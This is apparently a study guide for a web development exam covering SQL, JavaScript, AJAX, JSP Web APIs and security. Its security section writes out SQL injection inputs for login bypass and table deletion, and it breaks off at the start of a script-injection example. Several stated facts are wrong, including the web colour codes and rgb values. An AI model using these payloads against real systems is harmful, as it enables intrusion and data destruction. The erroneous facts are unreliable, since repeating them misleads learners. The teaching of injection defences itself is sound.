Possible weight of test questions:

- 25 points matching (terms) and/or true-false and/or short answer
- 5 points database
- 40 points JS coding
- 30 points Java/JSP coding (Web APIs)
Databases
- A database is a set of related tables. A database contains tables for user data (these are the tables that you created/design using MySQLWorkbench) and system tables that hold the metadata about the database that you designed. Think of a database as an encrypted file (holding data and stored procedures) that is ONLY accessible via DBMS software.
- Know these terms: table, relationships, field/column, record/row, primary key (PK), foreign key (FK), constraints.
- What is a stored procedure? It’s a SQL method stored in a database. A PreparedStatement (from java.sql.PreparedStatement) auto-creates a stored procedure in the database and this is a great thing for three reasons:
  - 1. Stored procs are pre-compiled and therefore run faster,
  - 2. Stored procs prevent SQL injection hack, and
  - 3. Portability. If you move your app to a different database, all the stored procs get re-auto generated (on first use) in the new destination database.
- java.sql.Statement is not safe from SQL injection so do not use that.

Database Management System
- Definition. Software that
  - lets you design a database and it stores your design specifications (e.g., data types, required vs. optional, PKs, FKs).
  - lets you (and programs access) and modify a database, but only according to the design rules. The DBMS is the ONLY way to access a database (which is why the DBMS is able to enforce all the rules all the time).
  - lets a Database administrator set up users, user groups, and sets user and group privileges (at a fine grained level, e.g., table level, field level).
- Examples: MSAccess (for individual or small group usage), MS SQL server (large scale, affordable), MySql (open source, used for web apps), oracle (very large scale, expensive).
- MySql is a DBMS (service) that also provides a command line interface (black screen) where you can type in the SQL commands that you saw MySQLWorkbench creating for you.

- MySQLWorkbench is a GUI front end to MySql. It’s not a DBMS.

SQL:
- SQL is a standard language for accessing databases, regardless of which DBMS is used.
- Understand how these SQL statements work: INSERT, UPDATE, DELETE (and how they might throw an exception, e.g., uniqueness constraint violation, Foreign Key violation). The following examples are using java.sql.PreparedStatements (user input is injected into the ?s), not insecure java.sql.Statements where data is concatenated/interspersed with the SQL.
  ```java
  INSERT INTO web_user (user_email, user_password, membership_fee, birthday) values (?, ?, ?, ?)
  UPDATE web_user SET user_email=?, user_password=?, membership_fee=?, birthday=? WHERE web_user_id = ?
  DELETE FROM web_user WHERE web_user_id = ?
  ```
- Understand how to write SELECT statements including table joins. Given data, show the result set of a specific SELECT statement.
- Not on test, but if going for interview, understand the Advanced SQL mentioned below:
  - SELECT statements that use **GROUP BY** and **aggregate functions** such as max, min, average, sum, count, etc. For example, you’d use a GROUP BY select statement to compute the average salary per job title. So if a result set had 100 employees in 4 different job titles and you applied GROUP BY, the 100 rows would “collapse down” to 4 rows, showing the title and the average salary per title.
  - SELECT statements that use **OUTER Join**. This is necessary when, for example, you have student.major_id as an optional foreign key. If you do a regular (INNER) join (as we have been doing in class), this select statement would exclude students with null in student.major_id. With OUTER join, you can state that you want to include all the students even those with null for major_id.

**What runs where**

It is critical that you know what runs where if you are to understand how web applications work.
  - **Client PC** runs a browser that renders HTML/CSS and executes JavaScript (which includes jquery because jquery is a library of JavaScript functions). These files (html, css, js, image files etc) are stored on the server but when a browser requests a page, the HTML page is sent to the client PC (PLUS all the files it references) and this code runs in the Client PC.
  - If a user was to run a Web API (like you did with URL tampering), the browser requests the JSP page but it executes on the web server and the resulting output is sent over the internet to the browser. This allows the Web API to do important stuff like read or write to a database, something that the HTML page (even with JS code) simply cannot do.
  - **Web server** (computer) runs
    - Web server software (e.g., apache or iis) just receives http (or https) requests and provides HTML pages (plus any additional referenced files) back to the requester.
    - JSP application server software (e.g., tomcat, glassfish, jboss, websphere, weblogic) executes a requested JSP page that outputs the HTML page that will be sent to the requester. JSP pages are actually converted to (more verbose) java servlets which are compiled and then executed.
      - Java/JSP can access a database and incorporate database data into the generated page.
    - Database server (computer): runs DBMS (such as mySQL, or sql server). In our case our web server (cis-linux2) was also our database server.
  - **Netbeans bundle**
    - The Netbeans bundle includes the Netbeans editor/compiler, jsp application server sw (tomcat or glassfish), web server sw (apache) – all preconfigured to work together.
Let's review by software:

<table>
<thead>
<tr>
<th>Software</th>
<th>Local development PC/MAC</th>
<th>Web or DB Server</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apache</td>
<td>invoked (if not already running) whenever you &quot;run&quot; a page from netbeans, serves up web pages requested by a browser. Listens on port 8080 of your machine.</td>
<td>invoked whenever a user requests a page from cis-linux2, serves up web pages requested by a browser</td>
</tr>
<tr>
<td>Glassfish</td>
<td>JSP application server software that converts/compiles JSP pages into servlets, executes those servlets when JSP pages are requested from localhost. servlets generate HTML pages that are given to Apache to give to the browser that requested them.</td>
<td>glassfish is not installed on cis-linux2</td>
</tr>
<tr>
<td>tomcat</td>
<td>tomcat is not installed on your local PC/MAC</td>
<td>JSP application server that converts/compiles JSP pages to servlets and executes those servlets when JSP pages are requested from cis-linux2</td>
</tr>
<tr>
<td>MySQL</td>
<td>we did not install MySQL on your local PC/MAC, but we could have. (If you wanted to keep a local db with exact same design as your one on linux2, you would not need internet to develop.)</td>
<td>Would be installed/running on a DB server (if we had a distinct DB server). MySql is a DBMS (database mgt system) that responds to requests to access a MySql database, listens on port 3306.</td>
</tr>
<tr>
<td>MySQLWorkBench</td>
<td>only installed on your local PC/MAC, for the purpose of converting GUI actions into SQL code that could be sent to MySQL and executed. It has built in tunneling software.</td>
<td>not installed on linux2. it is not server sw.</td>
</tr>
</tbody>
</table>

Web Design (Images, Colors, HTML, CSS) – not covered on last test

- Working with images:
  - How to reduce file size 3 ways: reduce quality but not visual size, reduce visual size, crop. If the sum of all the files is large, the page will load slowly. Browser image caching can often make the programmer unaware of how slow a page is loading to the first time visitor.
  - Three main image types and their characteristics:
    - JPG is good for detailed images, supports millions of colors. If the JPG file is too large, it renders slowly, top to bottom & left to right. Has a lossy compression algorithm.
    - GIF (older format still used for animations).
    - PNG (replacing GIFs for icons, supports transparency and interlacing). Interlacing means showing a low resolution picture first, then filling in the details (reducing blur). Uses lossless compression.

- Web Color Codes:
  - #RRGGBB in hex, e.g., #FF0000 is red, #00FF00 is green, #FF00FF is purple (red+blue), #0000FF is black (absence of color), #FFFF00 is white (max color), any other code where RR=GG=BB is a shade of gray. Saturation: fully saturated is full of color. If an image has nothing but unsaturated colors, it is like a black and white photo.
  - You can also specify purple in decimal like this: rgb(256, 0, 256) or with color name "purple".
You can specify a partially transparent color like this: rgba(256,0,256, 0.25). The last parameter is opacity (how solid). The color just specified is purple that is 25% solid (so 75% transparent).

- **HTML (basic tags only)** – *not covered directly on last test*, but indirectly when you are asked to understand and modify code and draw how things will render.
  - Head can include: title, style
  - body can include: table (tr, td), p (paragraph), div, span, a (link), img, input, button, script
  - HTML tags can have an id attribute (ids are supposed to be unique within a page) so that we can reference that element from JavaScript (e.g., so we can access or change that DOM element somehow)
  - we can apply events to HTML elements (also called DOM elements, Document Object Model), events like onclick, onchange, onmouseover, onmouseout, onkeydown, etc.

- **Form tag and input tags (we used input tags but not forms, but you should understand the history of forms)**
  - In older style web pages (where all processing happens server side), if a page wants to get input, it needs a form tag containing input tags as well as a submit button. When the user clicks the submit button, all of the inputs inside the form tag (of the submit button) are sent to the page specified in the action attribute of the form tag. For example, if the user typed "sally" and "22" in the two text boxes and then clicked submit, the URL in the address bar would be this:

    ```html
    <form action = "mypage.jsp" method="GET">
    your name? <input type = "text" name="uName">
    your age? <input type = "text" name="uAge">
    <input type="submit">
    </form>
    ...
    mypage.jsp?uName=sally&uAge=22
    ```

  - If you are doing only client side scripting (perhaps making ajax calls to Web APIs), you would not need the form tag nor the submit button. Our (equivalent) code might look like this:

    ```html
    your name? <input type = "text" name="uName">
    your age? <input type = "text" name="uAge">
    <input type="button" onclick="JavaScript:makeAjaxCall()">
    ```

    And
    1. The JS function (e.g., makeAjaxCall) would make an ajax call to invoke a web API.
    2. The web API would take some action (e.g., insert, edit, delete data, or respond with a list of data) and then respond with (out.print) a message (confirmation, error, or data list).
    3. Then Apache (web server software) would invoke the JS callback function (providing the server's output) and the callback function would update the page to show the user what had been done.

See ajax example further down in this document.
HTML5 Validation

- We almost could have ignored the form tag for this class, except we might want to use the new HTML5 validation (rather than having to write JS code to validate). When I say “validate” I mean things like making sure a user entered number is really a number or a date is really a date or ensuring that there is something typed into a required field. Client side validation makes for quicker responding web page and a better user experience, and so should be done (either HTML5 or JS validation). However, if you are writing the Web APIs, you cannot assume that the HTML coder validated properly, so your Web API needs to double check everything and provide good error messages to the HTML page.

- To use HTML5 validation, you have to set things up like they would have been set up for server side processing (e.g., JSP Page has UI elements like <html>... </html> not just out printing JSON). So, you need a form tag (no action attribute needed you would not actually post the data to a server side program) and you need a submit button (that can be hidden) like this:

  ```html
  <form id="personForm">
    your name? <input type = "text" name="uName" required>
    your age? <input type = "number" name="uAge">
    <input type="button" onclick="createPerson() ">
    <input style="display:none;" type="submit" value="submit" id="submitButton"/>
  </form>
  ```

And this JavaScript code;

```javascript
function createPerson() {
  if (!document.getElementById('personForm').checkValidity()) { // means something is not valid
    document.getElementById('submitButton').click(); // shows the validation bubbles
  } else { // process the input, knowing that all input tags passed validation.
    // ...
  }
```

Example HTML that uses HTML5 validation:

- "Number" is one of the newer HTML5 input types that are validated by the browser.
- "Required" is also another new validation attribute that is new in HTML5

```html
<input type="number" min="5" max="18" name="shoe-size" required>
```

The above HTML5 input tag will not allow the user to enter a non number and it will not allow the user to enter a number less than 5 or greater than 18.
• Basic CSS – not on last test, but important if you are being asked to write front ends for a web app.

   A CSS rule-set consists of a selector and a declaration block:

   ![CSS Rule-Set Visual](image)

   CSS TERMINOLOGY

   o margins, padding, color, background color, background image, fonts.
   o Pseudo classes such as a:link, a:hover, a:visited. They are called pseudo classes because the browser is involved with deciding when a particular style rule “kicks in” (based on user’s action), e.g., if the user’s mouse is hovering over an area or not.
   o CSS selectors

<table>
<thead>
<tr>
<th>CSS selector</th>
<th>Example</th>
<th>Applies to</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTML tag</td>
<td>p {font-size:12px;}</td>
<td>All paragraphs</td>
</tr>
<tr>
<td>class</td>
<td>.tab {background-color: yellow;}</td>
<td>All elements that are classed “tab”</td>
</tr>
<tr>
<td></td>
<td></td>
<td>&lt;div class=&quot;tab&quot;&gt; ... &lt;/div&gt;</td>
</tr>
<tr>
<td></td>
<td></td>
<td>&lt;div class=&quot;tab&quot;&gt; ... &lt;/div&gt;</td>
</tr>
<tr>
<td>id</td>
<td>#nav {padding: 10px;}</td>
<td>The element that has “nav” for id.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>&lt;div id=&quot;nav&quot;&gt;</td>
</tr>
<tr>
<td>Pseudo classes</td>
<td>a:hover {font-weight: bold;}</td>
<td>Any link element, but only while the mouse is hovering over it.</td>
</tr>
<tr>
<td>Pseudo classes</td>
<td>#nav:hover a {...}</td>
<td>Styles all “a” tags that are inside of a hovered-over element with id “nav”</td>
</tr>
<tr>
<td>Pseudo classes</td>
<td>#nav a:hover {...}</td>
<td>Styles a hovered-over “a” tag that is inside of an element with id “nav”</td>
</tr>
<tr>
<td>Multiple selection</td>
<td>h1, h2, h3 {font-weight: bold;}</td>
<td>All h1, h2, and h3 tags</td>
</tr>
<tr>
<td>Nested selection</td>
<td>#nav .tab {padding: 10px;}</td>
<td>Any element classed “tab” that’s inside of an element that has id “nav”.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>&lt;div id=&quot;nav&quot;&gt;</td>
</tr>
<tr>
<td></td>
<td></td>
<td>&lt;div class=&quot;tab&quot;&gt; ...&lt;/div&gt;</td>
</tr>
<tr>
<td></td>
<td></td>
<td>&lt;/div&gt;</td>
</tr>
</tbody>
</table>

   o You can apply two classes to the same HTML element, e.g., <div class="tab selected">

   o An element inherits style attributes from its parent unless it is redefined (example: background color).

   o Style Precedence: inline style, then internal style sheet, then external style sheet. You can reference more than one external style sheet. If there is a conflict in style rules (e.g., both rules apply), the last one wins.

   o Inline style, e.g., <div style="background-color:beige; padding:5px;"> |

   o Internal style sheet - between <style>...</style> tags in the <head> section of an HTML page.

   o External style sheet – many pages link to the same style sheet. Why is this beneficial?

• CSS Display property. Example values are display: block; display inline; display: none. Block HTML tags have a new line before and after (e.g., p/paragraph, and div are block as default). Inline HTML tags do not have new line before or after (e.g., a/link, img, and span are block as default).
CSS positioning – not on last test, but necessary to understand if you are trying to lay out a web page
  o static is normal/default layout, has "normal" flow, which is top to bottom, left to right, like we read. The element consumes space in the “normal flow”, meaning that the next element will come after it.
  o fixed - element is removed from the normal flow and is always fixed with respect to the browser window (top/bottom, left/right), regardless of scrolling up/down left/right.
  o relative is the same as static (element retains space in the normal flow), but relative elements can be adjusted up/down, left/right (from where they otherwise would have been positioned),
  o absolute is removed from normal flow and positioned (top/bottom, left/right) with respect to its first non-static parent (usually relative is used for this, like the drop down challenge).
  o Once you begin using CSS positioning (anything other than the default/static), you have the potential for elements to overlap. Then you need to use z-index to indicate which element is on top (higher z-index value is one top of lower z-index).

• Float (like float:left; or float:right) - block elements (like <p> and <div>) by default start and end on a new line, but we can float block elements to make them act more like “words” that wrap. You can also float an image, making text wrap all around it. When you want to stop things from jumping up and around your floated elements, use “clear:both”. The nice thing about floated elements (as opposed to fixed positioning) is that they retain their space on the page, no two elements can be on top of each other.

Basic JavaScript
  o JavaScript runs ONLY IN THE BROWSER. With JavaScript, you can access and modify elements in the DOM (Document Object Model), e.g.,
    document.getElementById("myelementId").innerHTML = "hello"; //
    document.getElementById("myTextBoxId").value = "hi"; // puts value in a text box
  o JavaScript is not compiled. You only know you have an error when/if that line of code actually executes. If there is a syntax error, JavaScript just stops running with no error message (unless you have the console open).
  o JavaScript is placed inside a <script> tag, typically placed just before the end of the <body>. This is the preferred place for two reasons:
    o so that elements on the page exist before the code runs that might want to access these elements.
    o Also (if you had a lot of JS code), your page renders faster if you put your JS code after the visual elements.
  o What runs when?
    o JavaScript code that is inside a function will only run if called/invoked.
    o JavaScript code that is outside of all functions will run, in order, as the browser parses the HTML file from top to bottom. If a JavaScript variable or function is defined outside of all functions, the scope of that variable or function is global to the document. Good coding style suggests that we avoid “polluting the global name space” and we declare everything as locally as possible (declaring variables, objects and/or functions inside of other functions).
  o By default, the browser will allow you to use a JS variable without first declaring it (and it is auto-declared globally which is especially bad). To avoid this, put "use strict"; at the top of your JS code – so that if you mistakenly try to reference a variable without first declaring it, an exception will be thrown (and an error will show in the console).
  o JavaScript variables/objects can change types no problem, e.g., var x=4; ... then ... x="sally";
  o JavaScript is event driven, e.g., button click event, body onload event, onchange event.
  o Debugging: Show intermediate values of variables by using a lot of console.log statements.
    If you console.log (object); you’ll be able to open up all the properties of the object in the console.
- Understand public versus private data members and functions.
  - Understand closure - like how a Java static data member retains its value after the method has completed (is closed).
  - Understand if you define a function within a function, the outer function can act like a namespace.
- Understand what is an IIFE (immediately invoked function execution) and why you might want one. (We used it in users.js so that we could create a function that contained users.insertUI and users.updateUI so that these two public functions of a global object could share a private function (like build json from user input or place field level error messages on the page).

You are not responsible to know how to read/write Jquery but you should know what it is and why everyone uses it.

- Jquery is a widely used library of JavaScript functions. It is widely used for two reasons:
  1. Write less code by taking advantage of pre-written Jquery functions.
  2. Jquery handles the many differences in how JS is run in all of the various browsers/versions. Jquery “gracefully” downgrades its behavior to features that the user’s browser version can handle.
- Jquery uses CSS like notation to specify which elements are affected by Jquery code. `$('p')` means all paragraphs, `$('.tab')` means all elements classed “tab”, `$('#content')` means the element with id= “content”. Jquery is written in JavaScript and you can use embed any JavaScript inside of the Jquery code, so it is extremely flexible.
- This Jquery example waits until the whole HTML page has been rendered (document ready function) so it will not have an error trying to reference an element before the element exists. Inside of the document ready function below is another Jquery function, a function that states – whenever a user clicks on any paragraph (p tag), that specific paragraph will be hidden.

```javascript
$(document).ready(function(){
    $('p').click(function(){
        $(this).hide();
    });
});
```
AJAX

- Ajax is a technique (not a language or framework) whereby you make an asynchronous http request from the browser (JavaScript). The request specifies the name of a callback function. When the browser receives the data, it invokes the js callback function. We had a function named “ajax” in sample code where you passed in the URL, the name of a function to call if the http request was successful, and a DOM id where you wanted an error message to be written (in case the http request was not successful). In the following code, the first url would be requested and then immediately the second url would be requested. These requests would be happening simultaneously due to the asynchronous (non-blocking) nature of an ajax call. Assuming both calls were successful, we could not be sure if successfn1 would run before successfn2 or after.

```javascript
// Both calls happen at same time.
ajax(url1, sucessfn1, "errorid1");
ajax(url2, sucessfn2, "errorid2");
function successfn1 (obj) {
    //...
}
function successfn2(obj) {
    //...
}
console.log("This message would probably run before the code in either sucessfn1 or successfn2");
```

If you needed the ajax calls to run sequentially, you’d write it like this:

```javascript
// Calls happen sequentially.
ajax(url1, sucessfn1, "errorid1");
function successfn1 (httprequest) {  // first call is finished at this point...
    ajax(url2, successfn2, "error2id");

    function successfn2(httprequest) {
        //...
    }
}

// whatever you want to do after BOTH calls are done...
```
XML and JSON are both human readable data formats that are used on the web.

- XML looks like HTML except that with XML, the tag names are programmer created, whereas with HTML, the tag names are pre-determined (like <body> <table> etc).
- JSON is short for JavaScript notation (see example below). The { } starts/stops an object. The [ ] is a list.
- In either case (XML or JSON), you can have any level of nesting of objects and lists.

We used JSON as the input and output format for all Web APIs. You should understand the JSON format and how to convert between JSON and JS objects( client side, JSON.stringify and JSON.parse) and how to convert between JSON and java objects (server side, using GSON methods). As for XML, just know what it is (see below) – an alternate web data format.

<table>
<thead>
<tr>
<th>JSON</th>
<th>XML (same data)</th>
</tr>
</thead>
<tbody>
<tr>
<td>[</td>
<td>&lt;Rockbands&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Rockband&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Name&gt;Beatles&lt;/Name&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Country&gt;England&lt;/Country&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;YearFormed&gt;1959&lt;/YearFormed&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Members&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Member&gt;Paul&lt;/Member&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Member&gt;John&lt;/Member&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Member&gt;George&lt;/Member&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Member&gt;Ringo&lt;/Member&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;/Members&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;/Rockband&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;/Rockbands&gt;</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>{</td>
<td>&lt;Rockbands&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Rockband&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Name&gt;Rolling Stones&lt;/Name&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Country&gt;England&lt;/Country&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;YearFormed&gt;1962&lt;/YearFormed&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Members&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Member&gt;Mick&lt;/Member&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Member&gt;Keith&lt;/Member&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;Member&gt;Bill&lt;/Member&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;/Members&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;/Rockband&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;/Rockbands&gt;</td>
</tr>
</tbody>
</table>

**JavaScript example 1: initializing objects**

// { } bundles properties into an object. [ ] is a list. You can have a list of objects or an object with lists in it.
// practically unlimited nesting.

```javascript
var person = { fname: "Sally", age: 38, kids: ["Chris", "Frank", "Maria"] };

// Pops up this message: “I am Sally, I am 38, and my oldest child is Chris”.
alert ("I am "+person.fname+", I am "+person.age+" years old, and my oldest child is " + person.kids[0]);
```

**JavaScript example 2: turning JSON data (String) into JS object**

```javascript
var personData = '{ "fname": "Sally", "age": 38, "kids": ["Chris", "Frank", "Maria"] }'; // personData, a JSON String
var person = JSON.parse(personData); // person is a JavaScript object

// Pops up this message: “I am Sally, I am 38, and my oldest child is Chris”.
alert ("I am "+person.fname+", I am "+person.age+", and my oldest child is "+person.kids[0]);
```
**SINGLE PAGE APPLICATION:** There are a number of SPA (JavaScript) frameworks such as Angular, React, Vue.js, etc. With these frameworks, you have a single HTML page that (using JavaScript and AJAX) injects different components into the content area depending on what the user has clicked. This is in contrast to a more rudimentary website where every link gets you a whole new HTML page. What we did this semester was basically to “roll our own” SPA.

**FYI:** If you get a job doing web development, it is likely that you will use frameworks, not write them. However, your experience in this class will give you a much better understanding of what code the framework must have implemented AND if the framework you are using falls short in some area, you’ll be the one person capable of writing from scratch whatever piece of functionality the FW does not provide.

**SINGLE PAGE DESIGN:** This is a cool design style that is often used by small informational (static) web sites with say 5 pages. They put 5 virtual web pages into a single physical web page and then use internal links in the nav bar to scroll down to the desired virtual page. Often they use a little jquery to slow down the scroll a bit to give the linking a touch of animation. *We did not do this for homework, but an example was demonstrated.*

**Client side data storage:** Understand what it is and when to use it (and when not to use it).

- **Cookies:** text file stored on a client's PC, highly hackable. You can read/write name/value pairs into a cookie (client side) using JavaScript - similar to how we can read/write values to the JSP session object (on the web server).
- **LocalStorage:** an improvement on cookies, providing greater storage capacity (5MB instead of 4KB). Unlike cookies, the data is not sent back to the server for every HTTP request so it reduces traffic between client and server. localStorage persists until explicitly deleted. It works on same-origin policy (data is only available to pages of the domain that wrote it).
- **sessionStorage:** similar to localStorage, but data is available only to the window (or tab) that wrote it. Once the window (or tab) is closed, the storage is deleted. Like localStorage, it works on same-origin policy.

When to use client side storage:

- Never use client side storage to implement anything related to security. If you want security, use the server side session (like login, for example).
- OK to use client side storage to make things “convenient” for the user. Example: store their zip code or preference for stylesheet for your web site.
**JSP (Java Server Pages) – all of our JSP pages were Web APIs that output JSON**

- In older web sites, a JSP page was used for UI as well as server side processing. In these examples, the first line in the JSP page was this:

  `<%@page contentType="text/html" pageEncoding="UTF-8"%>`

  We never coded any pages like this but we did see (in the security example presented in the logon module) how JSP pages used to be written.

- In our web apps, we only used JSP pages to write Web APIs which do not have a User Interface because they are invoked by JavaScript (ajax calls). Our JSP pages first line had this:

  `<%@page contentType="application/json" pageEncoding="UTF-8"%>`

- You can use JSP implicit objects only in JSP Pages (not java code) – for example, `out.print()`, `request.getParameter()`, `session.setAttribute()`, `session.getAttribute()`, `session.invalidate()` – these are only available in a JSP page. Know the main JSP implicit objects and methods that we used this semester. You don’t have to remember the exact method names, but...

  - `out.print()` – prints into the requested page (we only `out.printed` JSON data)
  - `request.getParameter()` – gets the input from the URL, e.g., if the URL was: `http://site.webAPI.jsp?id=54`
    then the JSP page would do
    `request.getParameter("id"); // evaluating to "54"
  - `session.setAttribute()`, `session.getAttribute()`, `session.invalidate()` - used in `logonAPI.jsp`, `getProfileAPI.jsp`, and `logoffAPI.jsp` respectively.
  - `response.sendRedirect()` – would be used in JSPs that contain UI (for example, if user requested a page for which they were not authorized). We didn’t use.

- Recognize that there is also an application jsp implicit object which can be used to get and set “application level / global” variables (maybe like which database instance to use – production or test, etc). We didn’t use.

- Software design: minimize the code in JSP pages, moving as much code as possible to reusable java classes. What needs to be in a JSP page is getting/closing a DB connection, getting input (request.getParameter), writing output (out.print), interacting with server side session object.

**Web APIs** are like “methods” that are exposed over the internet. We wrote and called our own Web APIs, but a web page could invoke a Web API offered from a totally different domain, opening up a lot of opportunity (e.g., google maps, weather widget on your logon page etc). Web APIs can be written in JSP or ASPX or PHP or any other server side platform.

- Web APIs don’t have a user interface component. We installed a “JSON View” plugin to Chrome so that the JSON would be nicely formatted and easy to understand when we URL tampered to test our Web APIs.

- REST means representational state transfer and is a design philosophy that states: the client shall not consume any resources on the server except during the request/response. A web service can be called “RESTful” if it conforms to this design philosophy. The largest implementation of RESTful design philosophy is the internet. Things like sessions go against this philosophy, but are necessary (otherwise user would have to log in on each page). We try not to put too much into the session so that the server is scalable.
Service Oriented Architecture includes these ideas:

- Applications can be provided over the net (e.g., you “rent” an payroll system from the software company – no need to buy equipment or hire IT staff, just use it over the net),
- Data storage can be provided (like box.com),
- Data services such as content aggregators,
- Platform as a service (more flexibility, developers can just specify what they want on their own virtual machine).
- A Mashup is any time you combine various services into a user interface. For example, tuportal has a weather component that shows the weather of all of its campuses.

Java code for accessing a database

- If a JSP web application references a database, your local project has to reference the database driver (e.g., add the mysql database driver jar to libraries). When you publish, put the database driver in the lib folder on the server.
- Understand the classes that we used from the java.sql package: DriverManager, Connection, PreparedStatement, ResultSet and how we used them.
  - Know how to write parameterized SQL statements for insert, delete, and update.
  - Know how to use a WHERE clause on a SQL select statement – to filter out rows, for joining data.
  - Know how to inject user data into the SQL parameters (the ?s).
  - Understand that the SQL in a java.sql.PreparedStatement is automatically converted into a stored procedure (a stored procedure is a SQL method that is stored in the database). If you were to use the (insecure) java.sql.Statement instead of the (secure) java.sql.PreparedStatement, a hacker could inject SQL into a form and hijack the sql statement to do extra sql commands. I demonstrated a hacker being able to log in without knowing username/pw using a SQL injection attack.
  - Understand why java.sql.PreparedStatements prevent sql injection attack – they only allow user input to be inserted into a certain input parameter to the SQL method call. They do not open up the sql command line prompt to the user’s input like java.sql.Statement does.
- How should database connections be managed?
  - Every JSP page should use only one database connection: open it, pass it around to any java classes that need it, then close it. (When using a db connection more than once, remember to close the statements before trying to reuse it.) Never open/close database connections in java class code (because if this is your design strategy, you may have one jsp page that calls a lot of java methods where each method opens and closes its own database connection – this is a waste of a scarce resource and it results in a slow response time).
  - A database connection leak is any code path where you open a database connection but then never close it. Java garbage collection will not close the db connection because the connection is opened in external server software. A heavily used JSP page with a db leak will result in the database running out of connections and future JSP pages will be unable to successfully open a connection. This will continue until all the open db connections time out or the dbms is rebooted.
- Understand SRP (Single Responsibility Principle). Example: do not put two pieces of functionality in a single method. Instead, create two methods, each with one piece of functionality. This applies to any piece of code, not just methods.
- Understand object composition. Example: the StringDataList object contained an of StringData objects plus a DbError (String).
o Understand Model – View - Controller software design (MVC) where your code is divided into three components:
  o The Model is the data used by the application. There is typically a one to one correspondence between a database table and a java object. That java object (and the code that maintains the java objects stored in the DB) is in the Model subset of application code.
  o The View various ways the user may want to look at the data, so it would be sql select statements and related code.
  o The Controller is remaining code which includes the user interface (for us, the HTML and JS) that allows the user to select which view they want or select what they want to insert/update/delete.
  o There are frameworks like Ruby and Dot Net MVC where you code an object (e.g., web user string data) and the framework automatically creates the database table for you and provides methods for insert/update/delete.
  o Understand that database metadata could be used as the basis to create your own framework.
    o The database is divided into “system” tables and “user” tables. “user” tables are the tables you create, e.g., with MySqlWorkbench. System tables are tables that store metadata (the DB design you entered when you created the “user” tables).
    o You can query the system tables to learn what user tables are there, then you can do a “SELECT *” on each user table to learn the field names and other metadata (type, length, required or not, etc). From this, you could write generic code that could insert/update/delete from any table in the db (just like various frameworks do).

**STUDY the simple versions of sample code for CIS 3308 Homeworks, e.g., insert/update/delete.**
  o Understand the MVC organization of our server side code (Model, View, Controller).
  o Our View package represents the View.
  o Our model.xxx packages represent our code that is tightly coupled with the database design.
  o Understand the function of StringData, StringDataList, DbMods,
  o The controller is implemented in index.html with routing and JS functions etc.
STUDY and understand the sample code under the js folder:

- **dropdownFw.js** – allows the HTML coder to specify menu headers which (when clicked) open submenu options. Used DOMelement.getElementsByClassName to get a list of DOM elements.
- **routeFw.js** – only 50 lines of JS code to implement routing. The HTML coder sets up a “routing table” that associates internal links with global functions. Each time a link changes (window.location.hash), then this code invokes the associated function. Benefits of using routing: user can use back and forward browser buttons.
- **modalFw.js** – JS provides two useful methods: alert and confirm, but the UI for these is pretty horrible. If you want to display a good looking alert or confirmation UI, you could write a reusable component like the one I wrote and shared in the delete Homework.
- **ajax.js** – makes an ajax call to a URL, specifies a callback function and the id of a DOM element on the page where an error would be written if there is an error. Hides implementation details like how the httpRequest.readyState needs to be 4 and the httpRequest.status has to be 200.
  - **ajax2.js** – slight change from ajax.js. I made this version more like the jQuery ajax call. It takes a single object with properties instead of a parameter list (code is easier to read since parameter names provide better documentation than parameter order). It passes back (to the success function) an object that’s already been run through the JSON.parse method (so, less work for consumer code- but then the Web API must write a single object for this to work, not two objects, not just text).
- **buildTable.js** – converts an array of objects into a HTML table. You can modify your array of objects (adding or removing properties or creating a whole new array of objects from a Web API call) before calling buildTable.js. Uses document.createElement("HTML TagName") and appendChild to create the HTML table with all its rows and cells.
- **Utils** – has two functions:
  - make (creates a DOM element of specified HTML tag, possibly placing content inside (innerHTML), and attaching it to a specified parent DOM element).
  - makePickList.js – creates a <select> tag from an array of key/value pairs, possibly pre-selecting one of the options.
- **users** – provides a globally available object with all the public properties needed for user CRUD, e.g., list, delete, startInsert (prepare UI for insert), insertSave (get data from UI, make AJAX call to insert the record), startUpdate, update Save. Also has private functions that can be shared, e.g., creating a JSON string from user inputs from the UI, or taking a JSON string of error messages and placing them where they belong on the UI.
Security:

- Review the code from the logon lab – utilization of JSP implicit session object to store user credentials.
- Understand **sql injection**, what a successful hack can do, and how to prevent such attacks.
  - What the hacker does: types in data that he hopes will be run by a java.sql.Statement (which is like giving him access to a SQL console). His data can include a single quote ORed with something that is always true (and then makes the rest of the statement become a comment). This creates a syntactically correct SQL statement that is much different from what the coder intended. Here is the example data that he might type in: `x' or 1=1; #`
  - What the hacker could accomplish: with the above data typed into the username field of a logon form, the hacker could get logged in even as administrator without knowing any username/pw.
  - Or, they might type in something like this: `x' or 1=1; delete from user_table; #` which would certainly damage the database.
  - How to prevent: use java.sql.PreparedStatements which convert automatically to Stored Procedures in the database. Do not use java.sql.Statement which essentially exposes the sql command line interface to the hacker.
- Understand **JavaScript injection**, what a successful hack can do and how to prevent.
  - What the hacker does: types JavaScript code into a form and clicks a submit button, hoping that that his data will get stored in a database. Example of code:
    ```html
    <script>
